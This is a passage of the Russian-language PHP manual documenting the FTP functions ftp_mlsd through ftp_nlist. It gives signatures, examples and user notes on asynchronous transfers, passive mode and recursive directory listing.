Директория, список файлов которой будет возвращён.

Возвращаемые значения

Возвращает массив массивов с информацией о файлах из указанной директории в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_mlsd()

<?php

// установить основное соединение
$ftp = ftp_connect($ftp_server);

// авторизоваться на сервере, используя имя пользователя и пароль
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// получить содержимое текущей директории
$contents = ftp_mlsd($ftp, ".");

// вывод $contents
var_dump($contents);

?>

Результатом выполнения данного примера будет что-то подобное:

array(5) {
  [0]=>
  array(8) {
    ["name"]=>
    string(1) "."
    ["modify"]=>
    string(14) "20171212154511"
    ["perm"]=>
    string(7) "flcdmpe"
    ["type"]=>
    string(4) "cdir"
    ["unique"]=>
    string(11) "811U5740002"
    ["UNIX.group"]=>
    string(2) "33"
    ["UNIX.mode"]=>
    string(4) "0755"
    ["UNIX.owner"]=>
    string(2) "33"
  }
  [1]=>
  array(8) {
    ["name"]=>
    string(2) ".."
    ["modify"]=>
    string(14) "20171212154511"
    ["perm"]=>
    string(7) "flcdmpe"
    ["type"]=>
    string(4) "pdir"
    ["unique"]=>
    string(11) "811U5740002"
    ["UNIX.group"]=>
    string(2) "33"
    ["UNIX.mode"]=>
    string(4) "0755"
    ["UNIX.owner"]=>
    string(2) "33"
  }
  [2]=>
  array(8) {
    ["name"]=>
    string(11) "public_html"
    ["modify"]=>
    string(14) "20171211171525"
    ["perm"]=>
    string(7) "flcdmpe"
    ["type"]=>
    string(3) "dir"
    ["unique"]=>
    string(11) "811U5740525"
    ["UNIX.group"]=>
    string(2) "33"
    ["UNIX.mode"]=>
    string(4) "0755"
    ["UNIX.owner"]=>
    string(2) "33"
  }
  [3]=>
  array(8) {
    ["name"]=>
    string(10) "public_ftp"
    ["modify"]=>
    string(14) "20171211174536"
    ["perm"]=>
    string(7) "flcdmpe"
    ["type"]=>
    string(3) "dir"
    ["unique"]=>
    string(11) "811U57405EE"
    ["UNIX.group"]=>
    string(2) "33"
    ["UNIX.mode"]=>
    string(4) "0755"
    ["UNIX.owner"]=>
    string(2) "33"
  }
  [4]=>
  array(8) {
    ["name"]=>
    string(3) "www"
    ["modify"]=>
    string(14) "www"
    ["perm"]=>
    string(7) "flcdmpe"
    ["type"]=>
    string(3) "dir"
    ["unique"]=>
    string(11) "811U5740780"
    ["UNIX.group"]=>
    string(2) "33"
    ["UNIX.mode"]=>
    string(4) "0755"
    ["UNIX.owner"]=>
    string(2) "33"
  }
}

Смотрите также

  • ftp_rawlist() - Возвращает подробный список файлов в заданной директории
  • ftp_nlist() - Возвращает список файлов в заданной директории

User Contributed Notes

andy at sarver dot pro 06-Apr-2023 06:46
I have yet to find a resolution to this; but I notice the ftp_mlsd command is limited in the number of files it will grab at once. For me it ranged between 7,500 and 8,500 files. Seems to me there is some max duration it will query for and what you get is a function of how fast the files can be enumerated.
Frank Glck 27-Jan-2023 09:03
sometimes it is necessary to set:

ftp_set_option($this->connection_id, FTP_USEPASVADDRESS, false)

before you set:
ftp_pasv($this->connection_id, $state)
fantastory dot net at gmail dot com 31-Jan-2021 06:22
When running from script the function may require ftp_pasv, for swithching server to pasive mode.

If you are behind firewall ftp_mlsd will return FALSE otherwise.


Продолжает асинхронную операцию

  • « ftp_mlsd
  • ftp_nb_fget »
  • PHP Manual
  • Функции FTP
  • Продолжает асинхронную операцию

ftp_nb_continue

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_nb_continue — Продолжает асинхронную операцию

Описание

ftp_nb_continue(FTP\Connection $ftp): int

Продолжает отправку или получение файла в асинхронном режиме.

Список параметров

ftp

An FTP\Connection instance.

Возвращаемые значения

Возвращает FTP_FAILED, FTP_FINISHED или FTP_MOREDATA.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_nb_continue()

<?php

// Начало скачивания
$ret = ftp_nb_get($ftp, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

// Продолжение скачивания ...
$ret = ftp_nb_continue($ftp);
}
if ($ret != FTP_FINISHED) {
echo "При скачивании файла произошла ошибка...";
exit(1);
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в предварительно открытом файле

  • « ftp_nb_continue
  • ftp_nb_fput »
  • PHP Manual
  • Функции FTP
  • Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в предварительно открытом файле

ftp_nb_fget

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_nb_fget — Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в предварительно открытом файле

Описание

ftp_nb_fget(
FTP\Connection $ftp,
resource $stream,
string $remote_filename,
int $mode = FTP_BINARY,
int $offset = 0
): int

ftp_nb_fget() скачивает удалённый файл с FTP-сервера.

Разница между этой функцией и ftp_fget() заключается в том, что эта функция получает файл асинхронно, так что ваша программа может совершать другие операции, пока файл скачивается.

Список параметров

ftp

An FTP\Connection instance.

stream

Открытый файловый дескриптор для сохранения данных.

remote_filename

Путь к удалённому файлу.

mode

Режим передачи. Должен быть либо FTP_ASCII, либо FTP_BINARY.

offset

Позиция начала загрузки в удалённом файле.

Возвращаемые значения

Возвращает FTP_FAILED, FTP_FINISHED или FTP_MOREDATA.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).
7.3.0 | Теперь параметр mode опционален. Раньше он был обязательным.

Примеры

Пример #1 Пример использования ftp_nb_fget()

<?php

// открыть файл для записи
$file = 'index.php';
$fp = fopen($file, 'w');

$ftp = ftp_connect($ftp_server);

$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// Начало скачивания
$ret = ftp_nb_fget($ftp, $fp, $file, FTP_BINARY);
while ($ret == FTP_MOREDATA) {

// производим какие-то действия ...
echo ".";

// продолжение скачивания ...
$ret = ftp_nb_continue($ftp);
}
if ($ret != FTP_FINISHED) {
echo "При скачивании файла произошла ошибка...";
exit(1);
}

// закрытие файла
fclose($fp);
?>

Смотрите также

  • ftp_nb_get() - Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в локальный файл
  • ftp_nb_continue() - Продолжает асинхронную операцию
  • ftp_fget() - Скачивает файл с FTP-сервера и сохраняет его в предварительно открытом файле
  • ftp_get() - Скачивает файл с FTP-сервера

User Contributed Notes

pilif at pilif dot ch 16-Nov-2004 05:53
If you want to monitor the progress of the download, you may use the filesize()-Function.

But note: The results of said function are cached, so you'll always get 0 bytes. Call clearstatcache() before calling filesize() to determine the actual size of the downloaded file.

This may have performance implications, but if you want to provide the information, there's no way around it.

Above sample extended:

<?php
// get the size of the remote file
$fs = ftp_size($my_connection, "test");

// Initate the download
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   clearstatcache(); // <- this is important
   $dld = filesize($locfile);
   if ( $dld > 0 ){
       // calculate percentage
       $i = ($dld/$fs)*100;
       printf("\r\t%d%% downloaded", $i);
   }

   // Continue downloading...
   $ret = ftp_nb_continue ($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}
?>

Philip


Загружает предварительно открытый файл на FTP-сервер в асинхронном режиме

  • « ftp_nb_fget
  • ftp_nb_get »
  • PHP Manual
  • Функции FTP
  • Загружает предварительно открытый файл на FTP-сервер в асинхронном режиме

ftp_nb_fput

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_nb_fput — Загружает предварительно открытый файл на FTP-сервер в асинхронном режиме

Описание

ftp_nb_fput(
FTP\Connection $ftp,
string $remote_filename,
resource $stream,
int $mode = FTP_BINARY,
int $offset = 0
): int

ftp_nb_fput() закачивает данные из дескриптора файла в удалённый файл на FTP-сервере.

Разница между этой функцией и ftp_fput() заключается в том, что эта функция загружает файл асинхронно, так что ваша программа может совершать другие операции, пока файл закачивается.

Список параметров

ftp

An FTP\Connection instance.

remote_filename

Путь к удалённому файлу.

stream

Открытый файловый дескриптор локального файла. Чтение прекращается при достижении конца файла.

mode

Режим передачи. Должен быть либо FTP_ASCII, либо FTP_BINARY.

offset

Позиция начала загрузки в удалённом файле.

Возвращаемые значения

Возвращает FTP_FAILED, FTP_FINISHED или FTP_MOREDATA.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).
7.3.0 | Теперь параметр mode опционален. Раньше он был обязательным.

Примеры

Пример #1 Пример использования ftp_nb_fput()

<?php

$file = 'index.php';

$fp = fopen($file, 'r');

$ftp = ftp_connect($ftp_server);

$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// Начало загрузки
$ret = ftp_nb_fput($ftp, $file, $fp, FTP_BINARY);
while ($ret == FTP_MOREDATA) {

// производим какие-то действия ...
echo ".";

// продолжение загрузки ...
$ret = ftp_nb_continue($ftp);
}
if ($ret != FTP_FINISHED) {
echo "При загрузке файла произошла ошибка...";
exit(1);
}

fclose($fp);
?>

Смотрите также

  • ftp_nb_put() - Загружает файл на FTP-сервер в асинхронном режиме
  • ftp_nb_continue() - Продолжает асинхронную операцию
  • ftp_put() - Загружает файл на FTP-сервер
  • ftp_fput() - Загружает предварительно открытый файл на FTP-сервер

User Contributed Notes

marcopardo at gmx dot de 12-Mar-2020 07:04
FTP_FAILED = 0
FTP_FINISHED = 1
FTP_MOREDATA = 2
jascha at bluestatedigital dot com 27-Dec-2004 06:45
There is an easy way to check progress while uploading a file.  Just use the ftell function to watch the position in the file handle.  ftp_nb_fput will increment the position as the file is transferred.

Example:

<?

    $fh = fopen ($file_name, "r");
    $ret = ftp_nb_fput ($ftp, $file_name, $fh, FTP_BINARY);
    while ($ret == FTP_MOREDATA) {
        print ftell ($fh)."\n";
        $ret = ftp_nb_continue($ftp);
    }
    if ($ret != FTP_FINISHED) {
        print ("error uploading\n");
        exit(1);
    }
    fclose($fh);

?>

This will print out the number of bytes transferred thus far, every time the loop runs.  Coverting this into a percentage is simply a matter of dividing the number of bytes transferred by the total size of the file.


Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в локальный файл

  • « ftp_nb_fput
  • ftp_nb_put »
  • PHP Manual
  • Функции FTP
  • Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в локальный файл

ftp_nb_get

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_nb_get — Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в локальный файл

Описание

ftp_nb_get(
FTP\Connection $ftp,
string $local_filename,
string $remote_filename,
int $mode = FTP_BINARY,
int $offset = 0
): int|false

ftp_nb_get() скачивает удалённый файл с FTP-сервера и сохраняет его в локальный файл.

Разница между этой функцией и ftp_get() заключается в том, что эта функция получает файл асинхронно, так что ваша программа может совершать другие операции, пока файл скачивается.

Список параметров

ftp

An FTP\Connection instance.

local_filename

Путь к локальному файлу (файл будет перезаписан, если уже существует).

remote_filename

Путь к удалённому файлу.

mode

Режим передачи. Должен быть либо FTP_ASCII, либо FTP_BINARY.

offset

Позиция начала загрузки в удалённом файле.

Возвращаемые значения

Возвращает FTP_FAILED, FTP_FINISHED или FTP_MOREDATA или false в случае, если невозможно открыть локальный файл.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).
7.3.0 | Теперь параметр mode опционален. Раньше он был обязательным.

Примеры

Пример #1 Пример использования ftp_nb_get()

<?php

// Начало скачивания
$ret = ftp_nb_get($ftp, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

// Производим какие-то действия ...
echo ".";

// Продолжение скачивания ...
$ret = ftp_nb_continue($ftp);
}
if ($ret != FTP_FINISHED) {
echo "При скачивании файла произошла ошибка...";
exit(1);
}
?>

Пример #2 Возобновление скачивания файла с помощью ftp_nb_get()

<?php

// Начало скачивания
$ret = ftp_nb_get($ftp, "test", "README", FTP_BINARY,
filesize("test"));
// ИЛИ: $ret = ftp_nb_get($ftp, "test", "README",
// FTP_BINARY, FTP_AUTORESUME);
while ($ret == FTP_MOREDATA) {

// Производим какие-то действия ...
echo ".";

// Продолжение скачивания ...
$ret = ftp_nb_continue($ftp);
}
if ($ret != FTP_FINISHED) {
echo "При скачивании файла произошла ошибка...";
exit(1);
}
?>

Пример #3 Скачивание файла начиная с позиции 100 в новый файл с помощью ftp_nb_get()

<?php

// Запрет FTP_AUTOSEEK
ftp_set_option($ftp, FTP_AUTOSEEK, false);

// Начало скачивания
$ret = ftp_nb_get($ftp, "newfile", "README", FTP_BINARY, 100);
while ($ret == FTP_MOREDATA) {

/* ... */

// Продолжение скачивания ...
$ret = ftp_nb_continue($ftp);
}
?>

В последнем примере, newfile будет на 100 байт меньше, чем README на FTP-сервере, потому что скачивание начинается со смещения 100. Если не запретить FTP_AUTOSEEK, первые 100 байт файла newfile будут содержать '\0'.

Смотрите также

  • ftp_nb_fget() - Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в предварительно открытом файле
  • ftp_nb_continue() - Продолжает асинхронную операцию
  • ftp_fget() - Скачивает файл с FTP-сервера и сохраняет его в предварительно открытом файле
  • ftp_get() - Скачивает файл с FTP-сервера

User Contributed Notes

passerbyxp at gmail dot com 04-Jan-2012 08:24
Note that you may have to keep calling ftp_nb_continue in order to complete the download. For example, if you do this:

<?php
ftp_nb_get($conn,$localfile,$remotefile,FTP_BINARY)
//do some LONG time work
while(ftp_nb_continue($conn)!=FTP_FINISHED){}
?>

Your local file may only contains a few kilobytes and the later ftp_nb_continue will keep raising warning of no more data (due to connection time out, I guess).

So you may want to do this instead:

<?php
$dl=ftp_nb_get($conn,$localfile,$remotefile,FTP_BINARY)
//part of long time work
if(ftp_nb_continue($conn)==FTP_MOREDATA) {}
//part of long time work
if(ftp_nb_continue($conn)==FTP_MOREDATA) {}
//continue to do this until you finish the long time work
while(ftp_nb_continue($conn)==FTP_MOREDATA){}
?>

This happened on my Windows XP + PHP 5.3.8 under CLI. Hope this helps someone.


Загружает файл на FTP-сервер в асинхронном режиме

  • « ftp_nb_get
  • ftp_nlist »
  • PHP Manual
  • Функции FTP
  • Загружает файл на FTP-сервер в асинхронном режиме

ftp_nb_put

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_nb_put — Загружает файл на FTP-сервер в асинхронном режиме

Описание

ftp_nb_put(
FTP\Connection $ftp,
string $remote_filename,
string $local_filename,
int $mode = FTP_BINARY,
int $offset = 0
): int|false

ftp_nb_put() загружает локальный файл на FTP-сервер.

Отличие этой функции от ftp_put() состоит в том, что загрузка файла происходит в асинхронном режиме, что позволяет программе выполнять другие операции во время загрузки.

Список параметров

ftp

An FTP\Connection instance.

remote_filename

Путь к файлу на сервере.

local_file

Путь к локальному файлу.

mode

Режим передачи. Может принимать значения FTP_ASCII или FTP_BINARY.

offset

Позиция в удалённом файле, в которую начинается загрузка

Возвращаемые значения

Возвращает FTP_FAILED, FTP_FINISHED или FTP_MOREDATA или false в случае невозможности открыть локальный файл.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).
7.3.0 | Теперь параметр mode опционален. Раньше он был обязательным.

Примеры

Пример #1 Пример использования ftp_nb_put()

<?php

// Начало загрузки
$ret = ftp_nb_put($ftp, "test.remote", "test.local", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

// Производим какие-то действия ...
echo ".";

// Продолжение загрузки ...
$ret = ftp_nb_continue($ftp);
}
if ($ret != FTP_FINISHED) {
echo "При загрузке файла произошла ошибка...";
exit(1);
}
?>

Пример #2 Возобновление загрузки файла с помощью ftp_nb_put()

<?php

// Начало загрузки
$ret = ftp_nb_put($ftp, "test.remote", "test.local",
FTP_BINARY, ftp_size("test.remote"));
// ИЛИ: $ret = ftp_nb_put($ftp, "test.remote", "test.local",
// FTP_BINARY, FTP_AUTORESUME);

while ($ret == FTP_MOREDATA) {

// Производим какие-то действия ...
echo ".";

// Продолжение загрузки ...
$ret = ftp_nb_continue($ftp);
}
if ($ret != FTP_FINISHED) {
echo "При загрузке файла произошла ошибка...";
exit(1);
}
?>

Смотрите также

  • ftp_nb_fput() - Загружает предварительно открытый файл на FTP-сервер в асинхронном режиме
  • ftp_nb_continue() - Продолжает асинхронную операцию
  • ftp_put() - Загружает файл на FTP-сервер
  • ftp_fput() - Загружает предварительно открытый файл на FTP-сервер

User Contributed Notes

parasc at chetu dot com 21-Aug-2018 02:20
Hi Everybody,
ftp_put not working in client server, but it working properly on my local  system.
Issue on client server:
Production.ERROR: ftp_put(): I won't open a connection to 172.31.17.181 (only to 52.33.186.63).

My script upload a file from local system to remote server.

Thanks
Paras Chauhan
WebSee.ru 10-Aug-2009 06:01
How to realize the possibility of transferring data from one FTP-server to another via FXP:

<?php
// ...

$ansver = ftp_raw($ftp_conn1, 'PASV');

if (intval($ansver[0]) == 227) {
    ftp_raw($ftp_conn2, 'PORT '.substr($ansver[0], $n = strpos($ansver[0], '(') + 1, strpos($m[0], ')', $n) - $n));
    ftp_raw($ftp_conn1, 'STOR '.$filename); // need asynchronously (non-blocking)
    ftp_raw($ftp_conn2, 'RETR '.$filename);
}
?>
kaiohken1982 at hotmail dot com 28-Nov-2006 04:53
Hi,
I tried to use both ftp_put() and ftp_nb_put() adding the
variable $start = date("Y:m:d h:i:s"); at the begin of the script and the variable $end = date("Y:m:d h:i:s"); at its end, after the file upload function.
With the gprs connection I'm now using and trying to upload a .jpg file of 67,5 kb the time difference between $start and $end was 40 seconds in both cases, so I can suppose that there is no difference between these upload function.
The difference comes if you put anything inside the while ($ftp_upload == FTP_MOREDATA) loop.
I hope this note can help.
Regards
Ariel asphp at dsgml dot com 12-Jul-2006 12:11
Don't add a sleep() inside the loop. If you do you will severely slow down the upload.

In my tests, each time through the loop it send about 2.5K, looping about 220 times per second. (Which is very little.)

You won't necessarily get the same numbers as me per loop, but clearly PHP does it's own management of the loop so that you don't consume all the CPU on the server.
brandon dot farber at gmail dot com 01-Feb-2006 03:14
I couldn't see this noted anywhere...

ftp_nb_put apparently takes a much much longer time to upload the file than ftp_put (I haven't done any packet sniffing or logging tests to find out why).  I was using a script, nearly identical to the example above, and a 100KB file had only uploaded 3.99KB after about 8 minutes!  The php script naturally timed out before it was complete.

I changed my function to use ftp_put, got rid of the loop to check FTP_MOREDATA (as you will see in the example above), and the same script uploaded 2.2MB within 30 seconds with no other changes.

If you're using this function instead of ftp_put *purely to try to speed up your script* and it's taking a long time, you might want to try ftp_put instead.
ted at hostleft dot com 11-Jan-2005 01:13
If you receive an error like:

Warning:  ftp_nb_put(): Unable to service PORT commands in /path/to/file.php on line 27

verify whether you need to be in PASV mode. You can go into PASV mode by declaring

>  ftp_pasv($cnx,TRUE);
manu at manux dot org 07-Jan-2005 11:35
When using non blocking functions if you try to disconnect while your non blocking operation is in progress the disconnect command will not work until the operation is not finished.


Возвращает список файлов в заданной директории

  • « ftp_nb_put
  • ftp_pasv »
  • PHP Manual
  • Функции FTP
  • Возвращает список файлов в заданной директории

ftp_nlist

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_nlist — Возвращает список файлов в заданной директории

Описание

ftp_nlist(FTP\Connection $ftp, string $directory): array|false

Список параметров

ftp

An FTP\Connection instance.

directory

Имя директории для получения списка файлов. Этот параметр также может включать аргументы, например ftp_nlist($conn_id, "-la /your/dir");. Обратите внимание, что этот параметр не проходит экранирование спецсимволов, так что могут возникнуть проблемы с именами, содержащими пробелы и прочие подобные символы.

Возвращаемые значения

Возвращает массив имён файлов в директории или false при возникновении ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_nlist()

<?php

// установка соединения
$ftp = ftp_connect($ftp_server);

// проверка имени пользователя и пароля
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// получить содержимое текущей директории
$contents = ftp_nlist($v, ".");

// вывод $contents
var_dump($contents);

?>

Приведённый выше пример выведет:

array(3) {
  [0]=>
  string(11) "public_html"
  [1]=>
  string(10) "public_ftp"
  [2]=>
  string(3) "www"

Смотрите также

  • ftp_rawlist() - Возвращает подробный список файлов в заданной директории
  • ftp_mlsd() - Возвращает список файлов в заданной директории

User Contributed Notes

rmaslo at archa dot cz 19-Oct-2022 07:25
Some FTP servers convert accented characters to character "?". You can try:

<?php
$ftp = ftp_connect($ftp_server);
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);
ftp_raw($ftp, 'OPTS UTF8 ON'); //Sets the server to return results in UTF
$contents = ftp_nlist($ftp, ".");
var_dump($contents);
?>
gerben at gerbs dot net 26-Feb-2018 06:39
Be aware that since PHP 7.2 a new function is available, that returns the list of files as an array with all details ready to use: http://php.net/manual/en/function.ftp-mlsd.php
fsa at dwarf dot dk 18-Mar-2016 09:19
So I wrote a simple function using ftp_nlist() to recursively list only files in a specified directory.

/**
 * Returns a list of files in the given directory, excluding directories.
 *
 * @param resource $ftp_stream
 *   The link identifier of the FTP connection.
 * @param string   $directory
 *   The directory to be listed.
 *   Note that this parameter isn't escaped so there may be some issues with filenames containing spaces and other characters.
 * @param bool     $recursive
 *   (optional) If set to TRUE, the issued command will be done recursively.
 *
 * @return array
 *   Returns an array of filenames from the specified directory.
 */
function ftp_files_list($ftp_stream, $directory, $recursive = false) {
  $files = array();

  $list = ftp_nlist($ftp_stream, $directory);
  if (is_array($list)) {
    // Strip away dot directories.
    $list = array_slice($list, 2);

    foreach ($list as $filename) {
      $path = $directory . '/' . $filename;
      // If size equals -1 it's a directory.
      if (ftp_size($ftp_stream, $path) === -1) {
        if ($recursive) {
          $files = array_merge($files, ftp_files_list($ftp_stream, $path, $recursive));
        }
      } else {
        // Strip away root directory path to ensure all file paths are relative.
        $files[] = substr($path, strpos($path, '/') + 1);
      }
    }
  }

  return $files;
}
Jacob Slomp 02-May-2012 03:58
Hi,

I wrote this function to get the file list, I tested it only with php5 with linux ftp. And works fine for me.

it will return an array with the name, type (file/folder), owner, owner_id and rights.

<?php
    function ftp_get_filelist($con, $path){
        $files = array();
        $contents = ftp_rawlist ($con, $path);
        $a = 0;

        if(count($contents)){
            foreach($contents as $line){

                preg_match("#([drwx\-]+)([\s]+)([0-9]+)([\s]+)([0-9]+)([\s]+)([a-zA-Z0-9\.]+)([\s]+)([0-9]+)([\s]+)([a-zA-Z]+)([\s ]+)([0-9]+)([\s]+)([0-9]+):([0-9]+)([\s]+)([a-zA-Z0-9\.\-\_ ]+)#si", $line, $out);

                if($out[3] != 1 && ($out[18] == "." || $out[18] == "..")){
                    // do nothing
                } else {
                    $a++;
                    $files[$a]['rights'] = $out[1];
                    $files[$a]['type'] = $out[3] == 1 ? "file":"folder";
                    $files[$a]['owner_id'] = $out[5];
                    $files[$a]['owner'] = $out[7];
                    $files[$a]['date_modified'] = $out[11]." ".$out[13] . " ".$out[13].":".$out[16]."";
                    $files[$a]['name'] = $out[18];
                }
            }
        }
        return $files;
    }
?>

Greets,

Jacob
vijay dot mahrra at fronter dot com 17-Mar-2011 02:35
We needed to get a list of all files in all subdirectories and couldn't see a method to do this so we wrote our own:

<?php
/**
 * ftpRecursiveFileListing
 *
 * Get a recursive listing of all files in all subfolders given an ftp handle and path
 *
 * @param resource $ftpConnection  the ftp connection handle
 * @param string $path  the folder/directory path
 * @return array $allFiles the list of files in the format: directory => $filename
 * @author Niklas Berglund
 * @author Vijay Mahrra
 */
function ftpRecursiveFileListing($ftpConnection, $path) {
    static $allFiles = array();
    $contents = ftp_nlist($ftpConnection, $path);

    foreach($contents as $currentFile) {
        // assuming its a folder if there's no dot in the name
        if (strpos($currentFile, '.') === false) {
            ftpRecursiveFileListing($ftpConnection, $currentFile);
        }
        $allFiles[$path][] = substr($currentFile, strlen($path) + 1);
    }
    return $allFiles;
}
?>
zgardner at allofe dot com 28-Nov-2010 05:46
While running WAMP (Vista, Apache 2.21, MySQL 5.1.36, PHP 5.3) and recursively downloading files from a LAMP FTP server (Ubuntu 8.04, Apache 2.2.8, MySQL 5.1.51a, PHP 5.2.4, VSFPTD), I would find that my script stops downloading files after a while. I traced it to the call to ftp_nlist halting the script.

To solve this, I did a ftp_pasv($ftp, true). There's nothing in the VSFTPD, Apache, or PHP error logs on either the client or the server. Very strange.
Anonymous 29-Dec-2009 09:39
Some complain that ftp_nlist, always return FALSE. I did experience this behavior myself, until I used ftp_pasv, which is useful if your client is behind a firewall (which most clients are now), then ftp_nlist worked just fine. I don't really know what are all the implications of using ftp_pasv, but if you read or experience that ftp_nlist, ftp_get, ftp_nb_get doesn't work, try adding the following:

ftp_pasv($conn_id,true);
juhakala at gmail dot com 07-May-2008 03:23
I noticed that this function won't work if working path is different, because $dir keeps value of whole path string. That's why adding basename()-function strips the path and this function will work also sub folders, not only in root folder.

function ftp_is_dir($dir) {
  global $ftp_connect;
  if (ftp_chdir($ftp_connect, basename($dir))) {
    ftp_chdir($ftp_connect, '..');
    return true;
  } else {
    return false;
  }
}
webmaster at weltvolk dot de 12-Oct-2007 06:28
In order to make file/folder separation work on remote servers that do not support ftp_size() it's better to use the function ftp_is_dir() mentioned below:

<?php

//identify directories

function ftp_is_dir($dir) {
  global $ftp_connect;
  if (ftp_chdir($ftp_connect, $dir)) {
    ftp_chdir($ftp_connect, '..');
    return true;
  } else {
    return false;
  }
}
$ftp_nlist = ftp_nlist($ftp_connect, ".");

//alphabetical sorting

sort($ftp_nlist);
foreach ($ftp_nlist as $v) {

//1. ftp_is_dir() is true => directory
  if (ftp_is_dir($v)) {

//output as [ directory ]
      echo "[ " . $v . " ]<br />\n";
  }
}
foreach ($ftp_nlist as $v) {

//2. ftp_is_dir() is false => file
  if (!ftp_is_dir($v)) {

//output as file
      echo "" . $v . "<br />\n";
  }
}
?>
webmaster at weltvolk dot de 05-Oct-2007 02:24
How to get the file list in alphabetical order with all directories at the top:

<?php
$ftp_nlist = ftp_nlist($ftp_connect, ".");

//alphabetical sorting

sort($ftp_nlist);
foreach ($ftp_nlist as $v) {

//1. Size is '-1' => directory
  if (ftp_size($ftp_connect, $v) == -1) {

//output as [ directory ]
      echo "[ " . $v . " ]<br />\n";
  }
}
foreach ($ftp_nlist as $v) {

//2. Size is not '-1' => file
  if (!(ftp_size($ftp_connect, $v) == -1)) {

//output as file
      echo "" . $v . "<br />\n";
  }
}
?>

Result looks like:

[ a_mydirectory ]
[ b_mydirectory ]
[ c_mydirectory ]
...
a_myfile.htm
b_myfile.css
c_myfile.php
...
wim dot dupre at skynet dot be 20-Aug-2007 05:59
php 5.2.2 on MAC OS 1.4 (Tiger) seems to defaut to active ftp. to get ftp_nlist functioning, i needed to force ftp to passive.
the default behaviour with PHP 5.2.3 on windows XP seems to be passive ftp.

greetz,

wim
ralph at ralphje dot nl 16-Aug-2007 03:13
If you receive an error due some open_basedir restrictions, use the following:

<?php
putenv('TMPDIR=/tmp/');
$filelist = ftp_nlist($ftp, "./accounts");
?>

(if /tmp/ is an allowed directory within open_basedir)

It took me a while to find this out.
AndyM 13-Aug-2007 09:13
Be careful tom at crysis-online dot com - your suggested method seems to be server dependent. I'm currently trying to talk to a proftpd server and the size returned is -1 for all files it seems.
tom at crysis-online dot com 09-Aug-2007 04:12
This function is way faster than those below for checking if an object is a file or folder.

<?php
function is_ftp_dir($file, $ftp_connection){
    if(ftp_size($ftp_connection, $file) == '-1'){
        return true; // Is directory
    }else{
        return false; // Is file
    }
}
?>
bintjes at gmail dot com 24-Jul-2007 02:51
I've made a recursive function to list all files from folders and subfolders using ftp_rawlist() . I used the function below from ari,  parse_rawlist()

function list_all_files($conn_id, $path){
    $buff = ftp_rawlist($conn_id, $path);
    $res = parse_rawlist( $buff) ;
    static $flist = array();
    if(count($res)>0){
        foreach($res as $result){
            // verify if is dir , if not add to the  list of files
            if($result['size']== 0){
                // recursively call the function if this file is a folder
                list_all_files($conn_id, $path.'/'.$result['name']);
            }
            else{
            // this is a file, add to final list
                $flist[] = $result;
            }
        }
    }
    return $flist;
}
nigel (at) amanwithapencil (dot) com 04-Feb-2007 04:02
Actually, this works better (suppresses the error when ftp_chdir() fails)!:

if (!@ftp_chdir($ftp_conn, $userfolder))
{
    ftp_mkdir($ftp_conn, $userfolder);
    ftp_chdir($ftp_conn, $userfolder);
}
nigel (at) amanwithapencil (dot) com 03-Feb-2007 08:26
Further to kip's post, this works:

if (!ftp_chdir($conn, $folder))
{
    ftp_mkdir($conn, $folder);
    ftp_chdir($conn, $folder);
}
kip at friendchip dot com 12-Dec-2006 04:48
If you're just after an ftp version of is_dir you can see if ftp_chdir returns true or false.
fx dot menard at pleasenospam dot free dot fr 05-Oct-2006 02:35
A derived use of ftp_nlist function: determine if a given path exists and is a directory or a plain file (this is not easy with basic ftp functions). This code doesn't issue any warning or error. It makes use of ls option -d for efficiency, and -F to append a slash if the retrieved path is a directory.

<?php
// returns information on a given ftp path
// 0 if path does not exist
// 1 if path is a file
// 2 if path is a directory
function ftp_pathtype( $conn, $path )
{
    $res = ftp_nlist( $conn, "-dF " . $path );
    if ( isset( $res[0] ) and
         strlen( $res[0] ) )
    {
        if ( $res[0][ strlen( $res[0] )-1 ] === "/" )
            // a directory
            return 2;
        else
            return 1;
    } else
        return 0;
}
?>
artiom1st at yahoo dot com 24-Aug-2006 07:26
